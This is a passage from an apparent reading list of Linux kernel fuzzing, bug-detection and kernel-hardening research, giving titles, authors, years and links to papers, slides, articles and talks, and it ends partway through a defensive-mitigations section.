"PrIntFuzz: Fuzzing Linux Drivers via Automated Virtual Device Simulation"](https://dl.acm.org/doi/pdf/10.1145/3533767.3534226) [paper] [2022: "KSG: Augmenting Kernel Fuzzing with System Call Specification Generation"](http://www.wingtecher.com/themes/WingTecherResearch/assets/papers/atc22.pdf) [paper] [2022: "Demystifying the Dependency Challenge in Kernel Fuzzing"](https://github.com/ZHYfeng/Dependency/blob/master/Paper.pdf) [paper] [2022: "Hunting for Linux kernel public vulnerabilities"](https://1day.dev/notes/Hunting-for-Linux-kernel-public-vulnerabilities/) [article] [2022: "DangZero: Efficient Use-After-Free Detection via Direct Page Table Access"](https://download.vusec.net/papers/dangzero_ccs22.pdf) [paper] [2022: "How I started chasing speculative type confusion bugs in the kernel and ended up with 'real' ones" by Jakob Koschel](https://lpc.events/event/16/contributions/1211/attachments/979/1981/LPC2022_slides_Jakob_Koschel.pdf) [slides] [[video](https://www.youtube.com/watch?v=LigVc74INaA)] [2022: "Technical analysis of syzkaller based fuzzers: It's not about VaultFuzzer!"](https://hardenedvault.net/blog/2022-08-07-state-based-fuzzer-update/) [article] [2022: "GREBE: Unveiling Exploitation Potential for Linux Kernel Bugs"](https://zplin.me/papers/GREBE.pdf) [paper] [2022: "An In-depth Analysis of Duplicated Linux Kernel Bug Reports"](https://zplin.me/papers/bug_analysis.pdf) [paper] [2022: "Looking for Remote Code Execution bugs in the Linux kernel" by Andrey Konovalov](https://xairy.io/articles/syzkaller-external-network) [article] [2022: "Demystifying the Dependency Challenge in Kernel Fuzzing"](https://github.com/ZHYfeng/Dependency/blob/master/Paper.pdf) [paper] [2022: "Progressive Scrutiny: Incremental Detection of UBI bugs in the Linux Kernel"](https://www.ndss-symposium.org/wp-content/uploads/2022-380-paper.pdf) [paper] [2022: "Syzkaller diving 01: Learn basic KCOV and how fuzzer adopts it" by f0rm2l1n](https://f0rm2l1n.github.io/2021-02-02-syzkaller-diving-01/) [article] [2022: "Syzkaller diving 02: How syzkaller describe syscalls" by f0rm2l1n](https://f0rm2l1n.github.io/2021-02-04-syzkaller-diving-02/) [article] [2022: "Syzkaller diving 03: What is the remote KCOV?" by f0rm2l1n](https://f0rm2l1n.github.io/2021-02-10-syzkaller-diving-03/) [article] [2022: "Case Studies of Fuzzing with Xen" by Tamas K Lengyel at OffensiveCon](https://www.slideshare.net/tklengyel/offensivecon2022-case-studies-of-fuzzing-with-xen) [slides] [2021: "Rtkaller: State-aware Task Generation for RTOS Fuzzing"](http://www.wingtecher.com/themes/WingTecherResearch/assets/papers/emsoft21.pdf) [paper] [2021: "BSOD: Binary-only Scalable fuzzing Of device Drivers" by Fabian Toepfer and Dominik Maier](https://dmnk.co/raid21-bsod.pdf) [paper] [2021: "LinKRID: Vetting Imbalance Reference Counting in Linux kernel with Symbolic Execution" at USENIX](https://www.usenix.org/system/files/sec22summer_liu-jian.pdf) [paper] [[slides](https://www.usenix.org/system/files/sec22_slides-liu_jian.pdf)] [2021: "An Analysis of Speculative Type Confusion Vulnerabilities in the Wild" at USENIX](https://www.usenix.org/system/files/sec21-kirzner.pdf) [paper] [[slides](https://www.usenix.org/system/files/sec21_slides_kirzner.pdf)] [[video](https://www.youtube.com/watch?v=Gxv6LcabKrg)] [2021: "SyzVegas: Beating Kernel Fuzzing Odds with Reinforcement Learning" at USENIX](https://www.usenix.org/system/files/sec21-wang-daimeng.pdf) [paper] [[slides](https://www.usenix.org/system/files/sec21_slides_wang-daimeng.pdf)] [[video](https://www.youtube.com/watch?v=72Ngu3305TU)] [2021: "Detecting Kernel Refcount Bugs with Two-Dimensional Consistency Checking" at USENIX](https://www.usenix.org/system/files/sec21-tan.pdf) [paper] [[slides](https://www.usenix.org/system/files/sec21_slides_tan.pdf)] [[video](https://www.youtube.com/watch?v=tUzeuJTzpx4)] [2021: "Ruffling the penguin! How to fuzz the Linux kernel" by Andrey Konovalov and xakep.ru](https://hackmag.com/security/linux-fuzzing/) [article] [2021: "CoLaFUZE: Coverage-Guided and Layout-Aware Fuzzing for Android Drivers"](https://www.jstage.jst.go.jp/article/transinf/E104.D/11/E104.D_2021NGP0005/_pdf) [paper] [2021: "CVEHound: Audit Kernel Sources for Missing CVE Fixes" by Denis Efremov](https://speakerdeck.com/efremov/cvehound-audit-kernel-sources-for-missing-cve-fixes) [slides] [[video](https://www.youtube.com/watch?v=jIDnVeZNUA8)] [2021: "Finding Multiple Bug Effects for More Precise Exploitability Estimation" by Zhenpeng Lin and Yueqi Chen](https://static.sched.com/hosted_files/lssna2021/5a/LSS_2021_Multiple_Error_Behavior.pdf) [slides] [[video](https://www.youtube.com/watch?v=J3frKpcJ9vg)] [2021: "Triaging Kernel Out-Of-Bounds Write Vulnerabilities" by Weiteng Chen](https://static.sched.com/hosted_files/lssna2021/07/koobe-LSS.pdf) [slides] [[video](https://www.youtube.com/watch?v=YUHy58hyDq0)] [2021: "SyzScope: Revealing High-Risk Security Impacts of Fuzzer-Exposed Bugs" by Xiaochen Zou](https://etenal.me/wp-content/uploads/2021/10/SyzScope-final.pdf) [paper] [[slides](https://static.sched.com/hosted_files/lssna2021/55/SyzScope%20in%20Linux%20Security%20Summit.pdf)] [[video](https://www.youtube.com/watch?v=MJbqeo5qtQ0)] [[lwn article](https://lwn.net/Articles/872649/)] [2021: "HEALER: Relation Learning Guided Kernel Fuzzing"](http://www.wingtecher.com/themes/WingTecherResearch/assets/papers/healer-sosp21.pdf) [paper] [2021: "Snowboard: Finding Kernel Concurrency Bugs through Systematic Inter-thread Communication Analysis"](https://dl.acm.org/doi/pdf/10.1145/3477132.3483549) [paper] [2021: "Detecting semantic bugs using differential fuzzing" by Mara Mihali](https://linuxplumbersconf.org/event/11/contributions/1033/attachments/742/1621/syz-verifier%20-%20Linux%20Plumbers%202021.pdf) [slides] [[video](https://www.youtube.com/watch?v=Y_minEhZNm8&t=2388s)] [2021: "Fuzzing Linux with Xen" by Tamas K Lengyel](https://media.defcon.org/DEF%20CON%2029/DEF%20CON%2029%20presentations/Tamas%20K%20Lengyel%20-%20Fuzzing%20Linux%20with%20Xen.pdf) [slides] [[video](https://www.youtube.com/watch?v=_dXC_I2ybr4)] [2021: "Variant analysis of the ‘Sequoia’ bug" by Jordy Zomer](https://pwning.systems/posts/sequoia-variant-analysis/) [article] [2021: "KMSAN, a look under the hood" by Alexander Potapenko](https://github.com/ramosian-glider/talks-and-presentations/blob/master/2021/KernelMemorySanitizer_a_look_under_the_hood.pdf) [slides] [[video](https://www.youtube.com/watch?v=LNs2U-3m3yg)] [2021: "Detecting Kernel Memory Leaks in Specialized Modules with Ownership Reasoning"](https://github.com/QiushiWu/QiushiWu.github.io/blob/main/papers/k-meld.pdf) [paper] [2021: "Understanding and Detecting Disordered Error Handling with Precise Function Pairing"](https://www.usenix.org/system/files/sec21summer_wu-qiushi.pdf) [paper] [2021: "KFENCE - Detecting memory bugs in production kernels"](https://thomasw.dev/post/kfence/) [article] [2021: "Fuzzing the Linux Kernel" by Andrey Konovalov](https://linuxfoundation.org/wp-content/uploads/2021-Linux-Foundation-Mentorship-Series_-Fuzzing-the-Linux-Kernel.pdf) [slides] [[video](https://www.youtube.com/watch?v=4IBWj21tg-c)] [2021: "Dynamic program analysis for fun and profit" by Dmitry Vyukov](https://linuxfoundation.org/wp-content/uploads/Dynamic-program-analysis_-LF-Mentorship.pdf) [slides] [[video](https://www.youtube.com/watch?v=ufcyOkgFZ2Q)] [2020: "UBITect: A Precise and Scalable Method to Detect Use-before-Initialization Bugs in Linux Kernel"](https://dl.acm.org/doi/pdf/10.1145/3368089.3409686) [paper] [2020: "RetroWrite: Statically Instrumenting COTS Binaries for Fuzzing and Sanitization"](https://nebelwelt.net/files/20Oakland.pdf) [paper] [[tool](https://github.com/HexHive/RetroWrite)] [2020: "Fuzzing a Pixel 3a Kernel with Syzkaller" by senyuuri](https://blog.senyuuri.info/2020/04/16/fuzzing-a-pixel-3a-kernel-with-syzkaller/) [article] [2020: "Fuzzing the Berkeley Packet Filter" by Benjamin Curt Nilsen](https://search.proquest.com/openview/feeeac2f4c7f767740986bdbf9d51785/1?pq-origsite=gscholar&cbl=44156) [thesis] [2020: "syzkaller: Adventures in Continuous Coverage-guided Kernel Fuzzing" by Dmitry Vyukov at BlueHat IL](https://docs.google.com/presentation/d/e/2PACX-1vRWjOOL45BclKsCPMzdWmvH12hu-Ld1cU5MbB1tqcBhjVIr1M_qxZRE-ObKcVmqpCyqRAO62Sxm0_aW/pub?start=false&loop=false&delayms=3000&slide=id.p) [[video](https://www.youtube.com/watch?v=YwX4UyXnhz0)] [2020: "syzkaller / sanitizers: status update" by Dmitry Vyukov at Linux Plumbers](https://linuxplumbersconf.org/event/7/contributions/716/attachments/645/1181/syzkaller_LPC2020.pdf) [slides] [[video](https://www.youtube.com/watch?v=y9Glc90WUN0&t=234)] [2020: "Fuzzing for eBPF JIT bugs in the Linux kernel" by Simon Scannell](https://scannell.io/posts/ebpf-fuzzing/) [article] [2020: "Specification and verification in the field: Applying formal methods to BPF just-in-time compilers in the Linux kernel"](https://unsat.cs.washington.edu/papers/nelson-jitterbug.pdf) [paper] [2020: "Eliminating bugs in BPF JITs using automated formal verification" by Luke Nelson](https://homes.cs.washington.edu/~lukenels/slides/2020-08-28-lpc.pdf) [[video](https://www.youtube.com/watch?v=dZ_1HgUbni0&t=188s)] [slides] [2020: "Fuzzing the Linux kernel (x86) entry code, Part 1 of 3" by Vegard Nossum](https://blogs.oracle.com/linux/fuzzing-the-linux-kernel-x86-entry-code%2c-part-1-of-3) [article] [2020: "Fuzzing the Linux kernel (x86) entry code, Part 2 of 3" by Vegard Nossum](https://blogs.oracle.com/linux/fuzzing-the-linux-kernel-x86-entry-code%2c-part-2-of-3) [article] [2020: "Fuzzing the Linux kernel (x86) entry code, Part 3 of 3" by Vegard Nossum](https://blogs.oracle.com/linux/fuzzing-the-linux-kernel-x86-entry-code%2c-part-3-of-3) [article] [2020: "Data-race detection in the Linux kernel" by Marco Elver at Linux Plumbers](https://linuxplumbersconf.org/event/7/contributions/647/attachments/549/972/LPC2020-KCSAN.pdf) [slides] [[video](https://www.youtube.com/watch?v=gJRBmunG47w&t=7141)] [2020: "harbian-qa: State-based target directed fuzzer based on syzkaller"](https://github.com/hardenedlinux/harbian-qa/blob/master/syzkaller/design_inplementation_intro.md) [article] [2020: "Agamotto: Accelerating Kernel Driver Fuzzing with Lightweight Virtual Machine Checkpoints"](https://www.usenix.org/system/files/sec20-song.pdf) [paper] [[slides](https://www.usenix.org/system/files/sec20_slides_song.pdf)] [[video](https://www.youtube.com/watch?v=Swo6jSkjviA)] [[code](https://github.com/securesystemslab/agamotto)] [2020: "Using syzkaller, part 1: Fuzzing the Linux kernel" by Andre Almeida](https://www.collabora.com/news-and-blog/blog/2020/03/26/syzkaller-fuzzing-the-kernel/) [article] [2020: "Using syzkaller, part 2: Detecting programming bugs in the Linux kernel" by Andre Almeida](https://www.collabora.com/news-and-blog/blog/2020/04/17/using-syzkaller-to-detect-programming-bugs-in-linux/) [article] [2020: "Using syzkaller, part 3: Fuzzing your changes" by Andre Almeida](https://www.collabora.com/news-and-blog/blog/2020/05/12/using-syzkaller-fuzzing-your-changes/) [article] [2020: "Using syzkaller, part 4: Driver fuzzing" by Andre Almeida](https://www.collabora.com/news-and-blog/blog/2020/06/26/using-syzkaller-part-4-driver-fuzzing/) [article] [2020: "Effective Detection of Sleep-in-atomic-context Bugs in the Linux Kernel"](https://dl.acm.org/doi/pdf/10.1145/3381990) [paper] [2020: "KRACE: Data Race Fuzzing for Kernel File Systems"](https://www.cc.gatech.edu/~mxu80/pubs/xu:krace.pdf) [paper] [[video](https://www.youtube.com/watch?v=8m2fMxvRtgg)] [2020: "USBFuzz: A Framework for Fuzzing USB Drivers by Device Emulation" by Hui Peng and Mathias Payer](https://nebelwelt.net/publications/files/20SEC3.pdf) [paper] [2020: "HFL: Hybrid Fuzzing on the Linux Kernel"](https://www.ndss-symposium.org/wp-content/uploads/2020/02/24018.pdf) [paper] [2020: "KOOBE: Towards Facilitating Exploit Generation of Kernel Out-Of-Bounds Write Vulnerabilities"](https://www.usenix.org/system/files/sec20summer_chen-weiteng_prepub.pdf) [paper] [2020: "Analyzing the Linux Kernel in Userland with AFL and KLEE"](https://blog.grimm-co.com/post/analyzing-the-linux-kernel-in-userland-with-afl-and-klee/) [article] [2020: "Precisely Characterizing Security Impact in a Flood of Patches via Symbolic Rule Comparison"](https://www.ndss-symposium.org/wp-content/uploads/2020/02/24419-paper.pdf) [paper] [[slides](https://www.ndss-symposium.org/wp-content/uploads/24419-slides.pdf)] [[video](https://www.youtube.com/watch?v=fpkXkvwKbZw)] [2020: "Finding Race Conditions in Kernels: from Fuzzing to Symbolic Execution" by Meng Xu](https://gts3.org/assets/papers/2020/xu:thesis.pdf) [thesis] [2020: "A Hybrid Interface Recovery Method for Android Kernels Fuzzing"](https://qrs20.techconf.org/QRS2020_FULL/pdfs/QRS2020-4LGdOos7NAbR8M2s6S6ezE/891300a335/891300a335.pdf) [paper] [2019: "perf fuzzer: Exposing Kernel Bugs by Detailed Fuzzing of a Specific System Call (2019 Update)" by Vincent M. Weaver and Dave Jones](http://web.eece.maine.edu/~vweaver/projects/perf_events/fuzzer/2019_perf_fuzzer_tr.pdf) [paper] [2019: "Industry Practice of Coverage-Guided Enterprise Linux Kernel Fuzzing"](http://wingtecher.com/themes/WingTecherResearch/assets/papers/fse19-linux-kernel.pdf) [paper] [2019: "Effective Static Analysis of Concurrency Use-After-Free Bugs in Linux Device Drivers"](https://hal.inria.fr/hal-02182516/document) [paper] [2019: "A gentle introduction to Linux Kernel fuzzing" by Marek Majkowski](https://blog.cloudflare.com/a-gentle-introduction-to-linux-kernel-fuzzing/) [article] [2019: "Unicorefuzz: On the Viability of Emulation for Kernelspace Fuzzing"](https://www.usenix.org/system/files/woot19-paper_maier.pdf) [paper] [2019: "Case study: Searching for a vulnerability pattern in the Linux kernel" by Alexander Popov](https://a13xp0p0v.github.io/2019/08/10/cfu.html) [article] [2019: "Razzer: Finding Kernel Race Bugs through Fuzzing"](https://www.youtube.com/watch?v=9UszCIxc0r0) [video] [[paper](https://lifeasageek.github.io/papers/jeong:razzer.pdf)] [2019: "Fuzzing File Systems via Two-Dimensional Input Space Exploration"](https://taesoo.kim/pubs/2019/xu:janus.pdf) [paper] [[fuzzer](https://github.com/sslab-gatech/janus)] [2019: "PeriScope: An Effective Probing and Fuzzing Framework for the Hardware-OS Boundary"](https://www.ndss-symposium.org/wp-content/uploads/2019/02/ndss2019_04A-1_Song_paper.pdf) [paper] [2019: "Hourglass Fuzz: A Quick Bug Hunting Method"](https://conference.hitb.org/hitbsecconf2019ams/materials/D1T2%20-%20Hourglass%20Fuzz%20-%20A%20Quick%20Bug%20Hunting%20Method%20-%20Moony%20Li,%20Todd%20Han,%20Lance%20Jiang%20&%20Lilang%20Wu.pdf) [slides] [2019: "Detecting Missing-Check Bugs via Semantic- and Context-Aware Criticalness and Constraints Inferences"](https://www.usenix.org/system/files/sec19-lu.pdf) [paper] [[slides](https://www.usenix.org/sites/default/files/conference/protected-files/sec19_slides_lu.pdf)] [2019: "Automatically Identifying Security Checks for Detecting Kernel Semantic Bugs"](https://github.com/QiushiWu/QiushiWu.github.io/blob/main/papers/cheq.pdf) [paper] [2018: "FastSyzkaller: Improving Fuzz Efficiency for Linux Kernel Fuzzing"](https://iopscience.iop.org/article/10.1088/1742-6596/1176/2/022013/pdf) [paper] [2018: "Writing the worlds worst Android fuzzer, and then improving it" by Brandon Falk](https://gamozolabs.github.io/fuzzing/2018/10/18/terrible_android_fuzzer.html) [article] [2018: "From Thousands of Hours to a Couple of Minutes: Towards Automating Exploit Generation for Arbitrary Types of Kernel Vulnerabilities"](http://i.blackhat.com/us-18/Thu-August-9/us-18-Wu-Towards-Automating-Exploit-Generation-For-Arbitrary-Types-of-Kernel-Vulnerabilities.pdf) [slides] [[paper](http://i.blackhat.com/us-18/Thu-August-9/us-18-Wu-Towards-Automating-Exploit-Generation-For-Arbitrary-Types-of-Kernel-Vulnerabilities-wp.pdf)] [2018: "MoonShine: Optimizing OS Fuzzer Seed Selection with Trace Distillation"](http://www.cs.columbia.edu/~suman/docs/moonshine.pdf) [paper] [[code](https://github.com/shankarapailoor/moonshine)] [2018: "Detecting Kernel Memory Disclosure with x86 Emulation and Taint Tracking" by Mateusz Jurczyk](https://j00ru.vexillium.org/papers/2018/bochspwn_reloaded.pdf) [paper] [2018: "New Compat Vulnerabilities In Linux Device Drivers" at BlackHat](https://www.blackhat.com/docs/asia-18/asia-18-Ding-New-Compat-Vulnerabilities-In-Linux-Device-Drivers.pdf) [slides] [2018: "Precise and Scalable Detection of Double-Fetch Bugs in OS Kernels"](http://www-users.cs.umn.edu/~kjlu/papers/deadline.pdf) [paper] [2018: "Concolic Testing for Kernel Fuzzing and Vulnerability Discovery" by Vitaly Nikolenko at OffensiveCon](https://www.youtube.com/watch?v=mpfKN1URqdQ) [video] [2018: "K-Miner: Uncovering Memory Corruption in Linux"](http://lib.21h.io/library/XHEQU6AX/download/SLDEJFQG/2018_K-Miner_-_Uncovering_Memory_Corruption_in_Linux_Internet_Society.pdf) [paper] [2017: "KernelMemorySanitizer (KMSAN)" by Alexander Potapenko](https://blog.linuxplumbersconf.org/2017/ocw/system/presentations/4825/original/KMSAN%20presentation%20for%20LPC%202017.pdf) [slides] [2017: "The android vulnerability discovery in SoC" by Yu Pan and Yang Dai](http://powerofcommunity.net/poc2017/yu.pdf) [slides] [2017: "Evolutionary Kernel Fuzzing" by Richard Johnson at Black Hat USA](https://moflow.org/Presentations/Evolutionary%20Kernel%20Fuzzing-BH2017-rjohnson-FINAL.pdf) [slides] [2017: "DIFUZE: Interface Aware Fuzzing for Kernel Drivers"](https://www.blackhat.com/docs/eu-17/materials/eu-17-Corina-Difuzzing-Android-Kernel-Drivers.pdf) [slides] [[paper](https://www.blackhat.com/docs/eu-17/materials/eu-17-Corina-Difuzzing-Android-Kernel-Drivers-wp.pdf)] [2017: "SemFuzz: Semantics-based Automatic Generation of Proof-of-Concept Exploits" at CCS](https://acmccs.github.io/papers/p2139-youA.pdf) [paper] [2017: "kAFL: Hardware-Assisted Feedback Fuzzing for OS Kernels" at USENIX](https://www.usenix.org/system/files/conference/usenixsecurity17/sec17-schumilo.pdf) [paper] [2017: "How Double-Fetch Situations turn into DoubleFetch Vulnerabilities: A Study of Double Fetches in the Linux Kernel" at USENIX](https://www.usenix.org/system/files/conference/usenixsecurity17/sec17-wang.pdf) [paper] [2017: "DR. CHECKER: A Soundy Analysis for Linux Kernel Drivers" at USENIX](https://www.usenix.org/system/files/conference/usenixsecurity17/sec17-machiry.pdf) [paper] [2016: "Using Static Checking To Find Security Vulnerabilities In The Linux Kernel" by Vaishali Thakkar](http://events17.linuxfoundation.org/sites/events/files/slides/Using%20static%20checking%20to%20find%20security%20vulnerabilities%20in%20the%20Linux%20Kernel.pdf) [slides] [2016: "UniSan: Proactive Kernel Memory Initialization to Eliminate Data Leakages"](https://gts3.org/assets/papers/2016/lu:unisan.pdf) [paper] [2016: "An Analysis on the Impact and Detection of Kernel Stack Infoleaks"](https://www.researchgate.net/publication/298313650_An_Analysis_on_the_Impact_and_Detection_of_Kernel_Stack_Infoleaks) [paper] [2016: "Syzkaller, Future Developement" by Dmitry Vyukov at Linux Plumbers](https://docs.google.com/presentation/d/1iAuTvzt_xvDzS2misXwlYko_VDvpvCmDevMOq2rXIcA/edit#slide=id.p) [slides] [2016: "Coverage-guided kernel fuzzing with syzkaller"](https://lwn.net/Articles/677764/) [article] [2016: "Filesystem Fuzzing with American Fuzzy Lop" by Vegard Nossum and Quentin Casasnovas](https://events.linuxfoundation.org/sites/events/files/slides/AFL%20filesystem%20fuzzing%2C%20Vault%202016_0.pdf) [slides] [2016: "Project Triforce: AFL + QEMU + kernel = CVEs! (or) How to use AFL to fuzz arbitrary VMs" at ToorCon](https://github.com/nccgroup/TriforceAFL/blob/master/slides/ToorCon16_TriforceAFL.pdf) [slides] [2015: "KernelAddressSanitizer (KASan): a fast memory error detector for the Linux kernel" by Andrey Konovalov at LinuxCon North America](http://events.linuxfoundation.org/sites/events/files/slides/LinuxCon%20North%20America%202015%20KernelAddressSanitizer.pdf) [slides] [2015: "Introduction to USB and Fuzzing" by Matt DuHarte at DEF CON](https://www.youtube.com/watch?v=KWOTXypBt4E) [video] [2015: "Don't Trust Your USB! How to Find Bugs in USB Device Drivers" by Sergej Schumilo, Ralf Spenneberg, and Hendrik Schwartke at Black Hat](https://www.youtube.com/watch?v=OAbzN8k6Am4) [video] [2012: "Comprehensive Kernel Instrumentation via Dynamic Binary Translation"](http://www.cs.toronto.edu/~peter/feiner_asplos_2012.pdf) [paper] [2010: "Automatic Bug-finding Techniques for Linux Kernel" by Jiri Slaby](https://www.fi.muni.cz/~xslaby/sklad/teze.pdf) [paper] [2009: "Opensource Kernel Auditing and Exploitation" by Silvio Cesare at DEF CON](https://www.youtube.com/watch?v=sNh2TD6Tf9Q&feature=youtu.be) [video] ## Defensive ["Linux Kernel Defence Map" by Alexander Popov](https://github.com/a13xp0p0v/linux-kernel-defence-map) [2023: "Progress On Bounds Checking in C and the Linux Kernel" by Kees Cook & Gustavo A. R. Silva](https://outflux.net/slides/2023/lss-na/bounds-checking.pdf) [slides] [[video](https://www.youtube.com/watch?v=V2kzptQG5_A)] [2023: "Mobile Exploitation - The past, present, and the future" by Ki Chan Ahn](https://github.com/externalist/presentations/blob/master/2023%20Zer0con/Mobile%20Exploitation%2C%20the%20past%2C%20present%2C%20and%20future.pdf) [slides] [2023: "Bounded Flexible Arrays in C" by Kees Cook](https://people.kernel.org/kees/bounded-flexible-arrays-in-c) [article] [2022: "Survey of security mitigations and architectures, December 2022" by Saar Amar](https://saaramar.github.io/memory_safety_blogpost_2022/) [article] [2022: "Canary in the Kernel Mine: Exploiting and Defending Against Same-Type Object Reuse" by Mathias Krause](https://grsecurity.net/exploiting_and_defending_against_same_type_object_reuse) [article] [[reference exploits](https://github.com/opensrcsec/same_type_object_reuse_exploits)] [2022: "Making Linux Kernel Exploit Cooking Harder"](https://security.googleblog.com/2022/08/making-linux-kernel-exploit-cooking.html) [article] [[reference exploits](https://docs.google.com/document/d/1a9uUAISBzw3ur1aLQqKc5JOQLaJYiOP5pe_B4xCT1KA/edit?usp=sharing)] [[proposed mitigations](https://github.com/thejh/linux/blob/slub-virtual/MITIGATION_README)] [2022: "Where are we on security features?"](https://lpc.events/event/16/contributions/1173/attachments/1099/2108/LPC22%20-%20Where%20are%20we%20on%20security%20features%3F.pdf) [slides] [[video](https://www.youtube.com/watch?v=tQwv79i02ks)] [2022: "Control-Flow Integrity Kernel Support"](https://lpc.events/event/16/contributions/1315/attachments/1067/2169/cfi.pdf) [slides] [[video](https://www.youtube.com/watch?v=bmv6blX_F_g)] [2022: "HotBPF - An On-demand and On-the-fly Memory Protection for the Linux Kernel"](https://www.youtube.com/watch?v=1KSLTsgxaSU) [video] [2022: "Mind The Gap - The Linux Ecosystem Kernel Patch Gap" by Jakob Lell & Regina Biro](https://www.youtube.com/watch?v=WkJQImkOkNk) [video] [2022: "The exploit recon 'msg_msg' and its mitigation in VED"](https://hardenedvault.net/blog/2022-11-13-msg_msg-recon-mitigation-ved/) [article] [2022: "Return to sender: Detecting kernel exploits with eBPF" by Guillaume Fournier at Black Hat USA](https://i.blackhat.com/USA-22/Wednesday/US-22-Fournier-Return-To-Sender.pdf) [slides] [[code](https://github.com/Gui774ume/krie)] [2022: "Meaningful Bounds Checking in the Linux Kernel" by Kees Cook](https://outflux.net/slides/2022/lss-na/) [slides] [2022: "Compilers: The Old New Security Frontier" by Brad Spengler](https://grsecurity.net/Compilers_The_Old_New_Security_Frontier_BlueHat_IL_2022.pdf) [slides] [2022: "In-Kernel Control-Flow Integrity on Commodity OSes using ARM Pointer Authentication"](https://www.usenix.org/system/files/sec22fall_yoo.pdf) [paper] [[slides](https://www.usenix.org/system/files/sec22_slides-yoo.pdf)] [2022: "Preventing Kernel Hacks with HAKC"](https://nebelwelt.net/files/22NDSS2.pdf) [paper] [2022: "Mitigating Processor Vulnerabilities by Restructuring the Kernel Address Space" by Sebastian Eydam](https://fosdem.org/2022/schedule/event/seydam/attachments/slides/4837/export/events/attachments/seydam/slides/4837/fosdem_pres_seydam.pdf) [slides] [2022: "Meaningful Bounds Checking in the Linux Kernel" by Kees Cook at Linux Conf AU](https://outflux.net/slides/2022/lca/) [slides] [[video](https://www.youtube.com/watch?v=17Nqwl30Ch0)] [2022: "Mitigating kernel risks on 32-bit ARM" by Ard Biesheuvel](https://security.googleblog.com/2022/02/mitigating-kernel-risks-on-32-bit-arm.html) [article] [2022: "Kernel Hardening for 32-bit Arm Processors" by Keith Packard at Linux Conf AU](https://www.youtube.com/watch?v=kmMGdSVDVuQ) [video] [2021: "Mitigating Linux kernel memory corruptions with Arm Memory Tagging" by Andrey Konovalov](https://docs.google.com/presentation/d/1IpICtHR1T3oHka858cx1dSNRu2XcT79-RCRPgzCuiRk/edit?usp=sharing) [slides] [[video](https://www.youtube.com/watch?v=UwMt0e_dC_Q)] [2021: "Attack surface analysis of the Linux kernel based on complexity metrics" by Stefan Bavendiek](https://www.researchgate.net/profile/Stefan-Bavendiek/publication/365872100_Attack_surface_analysis_of_the_Linux_kernel_based_on_complexity_metrics/links/638786d9bbdef30dc9877e26/Attack-surface-analysis-of-the-Linux-kernel-based-on-complexity-metrics.pdf) [thesis] [2021: "Midas: Systematic Kernel TOCTTOU Protection" at USENIX](https://www.usenix.org/system/files/sec22summer_bhattacharyya.pdf) [paper] [[slides](https://www.usenix.org/system/files/sec22_slides-bhattacharyya.pdf)] [2021: "Undo Workarounds for Kernel Bugs" at USENIX](https://www.usenix.org/system/files/sec21-talebi.pdf) [paper] [[slides](https://www.usenix.org/system/files/sec21_slides_talebi.pdf)] [[video](https://www.youtube.com/watch?v=4QwMMCjAll8)] [2021: "SHARD: Fine-Grained Kernel Specialization with Context-Aware Hardening" at USENIX](https://www.usenix.org/system/files/sec21-abubakar.pdf) [[slides](https://www.usenix.org/system/files/sec21_slides_abubakar.pdf)] [[video](https://www.youtube.com/watch?v=ts3MQPTtFkg)] [2021: "Mitigation of Kernel Memory Corruption Using Multiple Kernel Memory Mechanism"](https://ieeexplore.ieee.org/stamp/stamp.jsp?arnumber=9502080) [paper] [2021: "Hardware-Assisted Fine-Grained Control-Flow Integrity: Adding Lasers to Intel's CET/IBT" by Joao Moreira](https://static.sched.com/hosted_files/lssna2021/8f/LSS_FINEIBT_JOAOMOREIRA.pdf) [slides] [[video](https://www.youtube.com/watch?v=FzGIM1218Ok)] [2021: "Kernel Self-Protection Project" by Kees Cook](https://outflux.net/slides/2021/lss/kspp.pdf) [slides] [[video](https://www.youtube.com/watch?v=-Binxid8t_8)] [2021: "Compiler Features for Kernel Security" by Kees Cook](https://linuxplumbersconf.org/event/11/contributions/1026/attachments/884/1692/compiler-features-for-kernel-security.pdf) [slides] [[video](https://www.youtube.com/watch?v=txIgZ31-RHI&t=13238s)] [2021: "A proof-carrying approach to building correct and flexible in-kernel verifiers"](https://linuxplumbersconf.org/event/11/contributions/944/attachments/893/1707/2021-09-23-lpc21.pdf) [slides] [[video](https://www.youtube.com/watch?v=WjxHKvwX8RY&t=11588s)] [2021: "How AUTOSLAB Changes the Memory Unsafety Game" by Zhenpeng Lin](https://grsecurity.net/how_autoslab_changes_the_memory_unsafety_game) [article] [2021: "security things in Linux vX.X" by Kees Cook](https://outflux.net/blog/archives/2021/02/08/security-things-in-linux-v5-8/) [articles] [2021: "Undo Workarounds for Kernel Bugs"](https://www.usenix.org/system/files/sec21fall-talebi.pdf) [paper] [2020: "Kernel Integrity Enforcement with HLAT In a Virtual Machine" by Chao Gao](https://static.sched.com/hosted_files/osseu2020/ce/LSSEU20_kernel%20integrity%20enforcement%20with%20HLAT%20in%20a%20virtual%20machine_v3.pdf) [slides] [[video](https://www.youtube.com/watch?v=N8avvE_neV0)] [2020: "Linux kernel heap quarantine versus use-after-free exploits" by Alexander Popov](https://a13xp0p0v.github.io/2020/11/30/slab-quarantine.html) [article] [2020: "State of Linux kernel security" by Dmitry Vyukov](https://github.com/ossf/wg-securing-critical-projects/blob/main/presentations/The_state_of_the_Linux_kernel_security.pdf) [slides] [[video](https://www.youtube.com/watch?v=PGwFyzh2KTA&t=1233)] [2020: "LKRG IN A NUTSHELL" by Adam Zabrocki at OSTconf](https://www.openwall.com/presentations/OSTconf2020-LKRG-In-A-Nutshell/OSTconf2020-LKRG-In-A-Nutshell.pdf) [slides] [2020: "Following the Linux Kernel Defence Map" by Alexander Popov at Linux Plumbers](https://linuxplumbersconf.org/event/7/contributions/775/attachments/610/1096/Following_the_Linux_Kernel_Defence_Map.pdf) [slides] [[video](https://www.youtube.com/watch?v=4c01jjbQmBc&t=8555)] [2020: "Memory Tagging for the Kernel: Tag-Based KASAN" by Andrey Konovalov](https://docs.google.com/presentation/d/10V_msbtEap9dNerKvTrRAzvfzYdrQFC8e2NYHCZYJDE/edit?usp=sharing) [slides] [[video](https://www.youtube.com/watch?v=f-Rm7JFsJGI)] [2020: "10 Years of Linux Security - A Report Card" by Bradley Spengler](https://grsecurity.net/10_years_of_linux_security.pdf) [slides] [[video](https://www.youtube.com/watch?v=F_Kza6fdkSU)] [2020: "Control Flow Integrity in the Linux Kernel" by Kees Cook at linux.conf.au](https://outflux.net/slides/2020/lca/cfi.pdf) [slides] [[video](https://www.youtube.com/watch?v=0Bj6W7qrOOI)] [2020: "Identification of Kernel Memory Corruption Using Kernel Memory Secret Observation 